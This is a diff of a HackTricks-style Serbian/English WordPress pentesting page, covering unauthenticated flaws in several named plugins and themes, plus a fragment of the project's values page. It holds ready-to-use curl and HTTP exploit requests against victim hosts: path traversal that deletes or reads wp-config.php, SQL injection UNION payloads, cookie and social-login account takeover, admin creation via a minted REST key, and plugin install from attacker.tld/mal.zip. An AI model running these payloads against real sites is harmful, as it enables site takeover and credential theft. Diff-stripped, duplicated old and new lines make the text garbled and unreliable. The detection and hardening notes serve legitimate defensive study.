Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* feature i na kraju isporučila sledeći kod (pojednostavljen):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,58 +434,37 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
* **Neautentifikovan pristup** the `wp_ajax_nopriv_` hook je registrovan.
* **No nonce / capability check** bilo koji posetilac može pozvati endpoint.
* **Nema sanitizacije putanje** korisnički kontrolisana `fontfamily` string se konkatenira u filesystem putanju bez filtriranja, što omogućava klasičan `../../` traversal.
Problemi koje uvodi ovaj isečak:
#### Exploitation
* **Neautentifikovan pristup** registrovan je `wp_ajax_nopriv_` hook.
* **Nema nonce / provera privilegija** bilo koji posetilac može da pozove endpoint.
* **Nema sanitizacije putanje** `fontfamily` string koji kontroliše korisnik se konkatenira sa fajl-sistemskom putanjom bez filtriranja, omogućavajući klasičnu `../../` traversal.
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog uploads direktorijuma** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
#### Eksploatacija
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Pošto `wp-config.php` živi izvan *uploads*, četiri `../` sekvence su dovoljne za podrazumevanu instalaciju. Brisanjem `wp-config.php` WordPress se pri sledećoj poseti prisiljava da pokrene *čarobnjak za instalaciju*, što omogućava potpuno preuzimanje sajta (napadač samo obezbeđuje novu DB konfiguraciju i kreira admin korisnika).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da onesposobe security plugins) ili `.htaccess` pravila.
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### Kontrolna lista za detekciju
#### Checklist za detekciju
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva funkcije za rad sa fajl sistemom (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nesanitizovanih korisničkih inputa u putanjama (tražite `$_POST`, `$_GET`, `$_REQUEST`).
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatencija nesanitizovanog korisničkog inputa u putanjama (traži `$_POST`, `$_GET`, `$_REQUEST`).
* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvaput proverite:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
### Eskalacija privilegija putem vraćanja zastarelih rola i nedostajuće autorizacije (ASE "View Admin as Role")
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenu promenu role tako što čuvaju originalne role u user meta kako bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin bez provere capabilities i validnog nonce-a, ovo postaje vertical privilege escalation.
Mnogi plugin-ovi implementiraju "view as role" ili privremenu promenu role tako što čuvaju originalnu rolu/role u user meta da bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i interne liste održavane od strane plugina bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana vraćala je role na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internoj nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni nonce verifikaciju pre uklanjanja trenutnih rola i ponovnog dodavanja sačuvanih rola iz user meta `_asenha_view_admin_as_original_roles`:
Primer iz realnog sveta je pronađen u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za reset je vraćala role bazirano na `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne role i ponovo doda sačuvane role iz user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -509,17 +479,11 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Zašto je iskoristivo
Zašto je iskorišćivo
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjen nivo, može ih vratiti tako što će pozvati reset path.
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Preduslovi napada
- Ranjiva verzija plugina sa omogućenом funkcionalnošću.
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u user meta iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset flow-u.
- Ako je korisnik prethodno imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles`, a kasnije su mu smanjene, može ih vratiti pristupom putanji za reset.
- U nekim okruženjima, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Eksploatacija (primer)
```bash
@ -529,36 +493,23 @@ Eksploatacija (primer)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na ranjivim buildovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), što dovodi do eskalacije privilegija.
Na ranjivim build-ovima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efektivno izvodi privilege escalation.
Detection checklist
- Tražite funkcije za prebacivanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Identifikujte putanje za reset/restore koje:
- Potražite funkcije za prebacivanje rola koje čuvaju originalne role u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Identifikujte reset/restore putanje koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
- Menjaju uloge preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities izvršioca.
Hardening
- Obavezno proveravajte capabilities za svaki deo koda koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
- Zahtevajte nonces za sve izmene uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikad ne verujte korisničkim imenima poslatim u requestu; razrešite ciljног korisnika server-side na osnovu autentifikovanog aktera i eksplicitne politike.
- Poništite stanje “original roles” pri ažuriranju profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Razmislite o čuvanju minimalnog stanja i korišćenju vremenski ograničenih tokena, zaštićenih pomoću capability, za privremene promene uloga.
- Mijenjaju role preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu actors capabilities.
---
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Neki plugins povezuju user-switching helper-e na javni `init` hook i izvlače identitet iz client-controlled cookie-ja. Ako kod pozove `wp_set_auth_cookie()` bez provere authentication, capability i validnog nonce-a, bilo koji neautentifikovani posetilac može prisilno da se uloguje kao proizvoljan user ID.
Neki pluginovi povezuju user-switching helper-e na public `init` hook i određuju identitet iz cookie-ja kontrolisanog od strane klijenta. Ako kod poziva `wp_set_auth_cookie()` bez provere autentikacije, capability i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisilno prijaviti kao proizvoljan user ID.
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -587,13 +538,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
Zašto je moguće iskoristiti
Zašto je iskorišćivo
- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema provere `is_user_logged_in()`).
- Identitet se izvodi iz kolačića koji klijent može menjati (`original_user_id`).
- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez provera capability/nonce.
- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema `is_user_logged_in()` provere).
- Identitet potiče iz kolačića koji klijent može menjati (`original_user_id`).
- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez bilo kakvih capability/nonce provera.
Eksploatacija (bez autentifikacije)
Exploitation (unauthenticated)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -603,32 +554,32 @@ Connection: close
```
---
### Razmatranja WAF-a za WordPress/plugin CVE-ove
### WAF razmatranja za WordPress/plugin CVEs
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokorizične WordPress/plugin ranjivosti su greške specifične za aplikacionu logiku ili autorizaciju koje izgledaju kao benigni saobraćaj, osim ako mehanizam ne razume WordPress rute i semantiku plugina.
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnogi highimpact WordPress/plugin propusti su application-specific logic/auth bagovi koji izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
Ofanzivne napomene
Offensive notes
- Ciljajte endpoint-e specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prvo testirajte neautentifikovane puteve (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuskacije.
- Tipični slučajevi visokog uticaja: eskalacija privilegija (broken access control), arbitrary file upload/download, LFI, open redirect.
- Ciljajte plugin-specific endpoints sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prvo testirajte unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
- Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Odbrambene napomene
Defensive notes
- Nemojte se oslanjati na generičke WAF potpise da štite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili brzo ažurirajte.
- Dajte prednost positive-security proverama u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
## Zaštita WordPress-a
## WordPress Protection
### Redovna ažuriranja
### Regular Updates
Uverite se da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
Uverite se da su WordPress, plugins, i themes ažurirani. Takođe potvrdite da je automated updating omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Takođe, **instalirajte samo pouzdane WordPress plugine i teme**.
Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
### Sigurnosni dodaci
@ -638,16 +589,16 @@ Takođe, **instalirajte samo pouzdane WordPress plugine i teme**.
### **Ostale preporuke**
- Uklonite podrazumevanog **admin** korisnika
- Uklonite podrazumevanog korisnika **admin**
- Koristite **jake lozinke** i **2FA**
- Periodično **pregledajte** **dozvole** korisnika
- **Ograničite pokušaje prijave** da sprečite Brute Force napade
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
- Povremeno **pregledajte dozvole** korisnika
- **Ograničite pokušaje prijave** da biste sprečili Brute Force napade
- Preimenujte fajl `wp-admin.php` i omogućite pristup samo interno ili sa određenih IP adresa.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin izložio je zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u okviru `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -657,15 +608,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemi uvedeni ovim isječkom:
Problemi koje uvodi ovaj isječak:
1. **Nesanitizovan korisnički unos** `parentid` dolazi direktno iz HTTP zahteva.
1. **Nefiltrirani korisnički unos** `parentid` dolazi direktno iz HTTP zahteva.
2. **Konkatenacija stringova u WHERE klauzuli** nema `is_numeric()` / `esc_sql()` / prepared statement.
3. **Mogućnost pristupa bez autentikacije** iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja sadrži shortcode `[wpjobportal_my_resumes]`.
3. **Pristup bez autentikacije** iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dobiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacija
1. Preuzmite svež nonce:
1. Nabavite svež nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -677,20 +628,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, čime se dokazuje SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koju datoteku na disku** putem path traversal. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` je kontrolisan od strane napadača i spojen **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dobiti sa stranice rezimea.
`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice resume.
#### Exploitation
#### Eksploatacija
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -699,7 +650,198 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Server vraća sadržaj `wp-config.php`, leaking DB credentials i auth keys.
The server vraća sadržaj `wp-config.php`, leaking DB credentials and auth keys.
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Mnogi themes/plugins uključuju "social login" pomoćne funkcije izložene preko admin-ajax.php. Ako neautentifikovana AJAX akcija (wp_ajax_nopriv_...) veruje identifikatorima koje klijent pošalje kada podaci provajdera nedostaju, a zatim pozove wp_set_auth_cookie(), to omogućava potpuno zaobilaženje autentifikacije.
Tipičan ranjiv obrazac (pojednostavljeno)
```php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
```
Zašto je ranjivo
- Neautentifikovan pristup putem admin-ajax.php (wp_ajax_nopriv_… action).
- Nema nonce/capability provera pre promene stanja.
- Nedostaje OAuth/OpenID provider verification; default branch prihvata unos napadača.
- get_user_by('email', $_POST['id']) nakon čega sledi wp_set_auth_cookie($uid) autentifikuje podnosioca zahteva kao bilo kog korisnika sa postojećom email adresom.
Eksploatacija (neautentifikovano)
- Preduslovi: napadač može da pristupi /wp-admin/admin-ajax.php i zna/pretpostavi važeću korisničku email adresu.
- Podesite provider na nepodržanu vrednost (ili ga izostavite) da biste pogodili default branch i poslali id=<victim_email>.
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
```
```bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
```
Očekivani indikatori uspeha
- HTTP 200 sa JSON telom poput {"status":"success","message":"Login successfully."}.
- Set-Cookie: wordpress_logged_in_* za žrtvin nalog; naknadni zahtevi su autentifikovani.
Pronalazak imena akcije
- Pregledajte theme/plugin za add_action('wp_ajax_nopriv_...', '...') registracije u social login kodu (npr. framework/add-ons/social-login/class-social-login.php).
- Grep-ujte za wp_set_auth_cookie(), get_user_by('email', ...) unutar AJAX handler-a.
Kontrolna lista za detekciju
- Web logovi koji pokazuju unauthenticated POST-ove ka /wp-admin/admin-ajax.php sa social-login akcijom i id=<email>.
- 200 odgovori sa success JSON-om neposredno pre autentifikovanog saobraćaja sa iste IP/User-Agent kombinacije.
Ojačavanje
- Ne izvodite identitet iz klijentskog inputa. Prihvatati samo emails/IDs koji potiču od validiranog provider token/ID.
- Zahtevajte CSRF nonces i capability checks čak i za login helper-e; izbegavajte registraciju wp_ajax_nopriv_ osim ako nije strogo neophodno.
- Validirajte i verifikujte OAuth/OIDC odgovore server-side; odbacite nedostajuće/invalidne providere (bez fallback-a na POST id).
- Razmotrite privremeno onemogućavanje social login-a ili virtuelno zakrpljivanje na edge-u (blokirajte ranjivu akciju) dok se ne popravi.
Ispravljeno ponašanje (Jobmonster 4.8.0)
- Uklonjen nesigurni fallback iz $_POST['id']; $user_email mora poticati iz verifikovanih provider grana u switch($_POST['using']).
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Neki plugin-ovi izlažu REST endpoint-e koji generišu reusable “connection keys” ili tokene bez verifikacije capabilities pozivaoca. Ako ruta autentifikuje samo na osnovu pogađajućeg atributa (npr. username) i ne veže ključ za korisnika/session sa capability checks, bilo koji unauthenticated napadač može izdati ključ i pozvati privilegovane akcije (kreiranje admin naloga, plugin akcije → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: prihvata username, izdaje connection key bez current_user_can() ili striktne permission_callback
- Impact: potpuni takeover povezivanjem izdanog ključa sa internim privilegovanim akcijama
PoC izdati connection key i iskoristiti ga
```bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
```
Zašto je ranjivo
- Osetljiva REST ruta zaštićena samo dokazom identiteta niske entropije (username) ili bez permission_callback
- Nema provere capability; generisani ključ se prihvata kao univerzalni bypass
Provera za detekciju
- Pretražite kod plugina za register_rest_route(..., [ 'permission_callback' => '__return_true' ])
- Bilo koja ruta koja izdaje tokene/ključeve na osnovu identiteta dostavljenog u zahtevu (username/email) bez vezivanja za autentifikovanog korisnika ili capability
- Potražite naredne rute koje prihvataju generisani token/ključ bez server-side provere capability-a
Ojačavanje
- Za svaku privilegovanu REST rutu: zahtevajte permission_callback koji poziva current_user_can() za potrebnu capability
- Ne generišite dugovečne ključeve na osnovu identiteta dostavljenog od klijenta; ako je neophodno, izdajte kratkotrajne tokene vezane za korisnika posle autentifikacije i ponovo proverite capability prilikom upotrebe
- Validirajte korisnički kontekst pozivaoca (wp_set_current_user nije sam po sebi dovoljan) i odbijte zahteve gde !is_user_logged_in() || !current_user_can(<cap>)
---
## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces sprečavaju CSRF, a ne autorizaciju. Ako kod tretira prolaz nonce-a kao zeleno svetlo i zatim preskače provere capability za privilegovane operacije (npr., install/activate plugins), neautentifikovani napadači mogu zadovoljiti slabu nonce proveru i dostići RCE instaliranjem backdoored ili ranjivog plugina.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
- Impact: potpuna kompromitacija putem proizvoljne instalacije/aktivacije plugina
PoC (oblik zavisi od plugina; služi samo kao ilustracija)
```bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
```
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
---
## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
Multiple depicter-* actions consumed the s (search) parameter and concatenated it into SQL queries without parameterization.
- Parametar: s (search)
- Propust: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
- Uticaj: database exfiltration (users, hashes), lateral movement
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detekciona kontrolna lista
- Koristite grep za depicter-* action handlers i direktnu upotrebu $_GET['s'] ili $_POST['s'] u SQL-u
- Pregledajte prilagođene upite prosleđene u $wpdb->get_results()/query() koji konkateniraju s
Ojačavanje
- Uvek koristite $wpdb->prepare() ili wpdb placeholders; odbacujte neočekivane metakaraktere na serverskoj strani
- Dodajte strogu allowlistu za s i normalizujte na očekivani charset/dužinu
---
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Prihvatanje putanja pod kontrolom napadača u template parametru bez normalizacije/ograničenja omogućava čitanje proizvoljnih lokalnih fajlova, a ponekad i izvršavanje koda ako se PHP/log fajlovi koji se mogu include-ovati učitaju u runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: nema normalizacije/allowlistinga; traversal permitted
- Impact: otkrivanje tajni (wp-config.php), potencijalni RCE u specifičnim okruženjima (log poisoning, includable PHP)
PoC pročitajte wp-config.php
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Detection checklist
- Bilo koji handler koji konkatenira request putanje u include()/require()/read sinkove bez provere containment-a preko realpath()
- Tražite obrasce traversal-a (../) koji izlaze izvan predviđenog templates direktorijuma
Hardening
- Sprovodite listu dozvoljenih template-ova; rešavajte putanje pomoću realpath() i zahtevajte str_starts_with(realpath(file), realpath(allowed_base))
- Normalizujte ulaz; odbacujte traversal sekvence i apsolutne putanje; koristite sanitize_file_name() samo za imena fajlova (ne za pune putanje)
## References
@ -712,5 +854,11 @@ Server vraća sadržaj `wp-config.php`, leaking DB credentials i auth keys.
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,56 +1,56 @@
# Vrednosti HackTricks-a & FAQ
# HackTricks Vrednosti & FAQ
{{#include ../banners/hacktricks-training.md}}
## Vrednosti HackTricks-a
## Vrednosti HackTricks
> [!TIP]
> Ovo su **vrednosti HackTricks projekta**:
> Ovo su **vrednosti projekta HackTricks**:
>
> - Omogućiti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima celom Internetu.
> - Hacking je o učenju, i učenje bi trebalo da bude što slobodnije.
> - Obezbediti **BESPLATAN** pristup **OBRAZOVNIM hacking** resursima za **CEO** Internet.
> - Hacking je o učenju, a učenje bi trebalo da bude što slobodnije.
> - Svrha ove knjige je da služi kao sveobuhvatan **obrazovni resurs**.
> - **ČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje dajući **IZVORNIM** **AUTORIMA** sve **zasluge**.
> - **Ne želimo zasluge drugih ljudi**, samo želimo da sačuvamo kul trikove za sve.
> - **SAČUVATI** sjajne **hacking** tehnike koje zajednica objavljuje, dajući **IZVORNIM** **AUTORIMA** sve **zasluge**.
> - **Ne želimo da preuzimamo zasluge drugih ljudi**, želimo samo da sačuvamo fine trikove za sve.
> - Takođe pišemo **svoja istraživanja** u HackTricks.
> - U nekoliko slučajeva ćemo samo napisati **u HackTricks sažetak važnih delova** tehnike i **podstaći čitaoca da poseti originalni post** za više detalja.
> - **ORGANIZOVATI** sve hacking tehnike u knjizi tako da budu **PRISTUPAČNIJE**
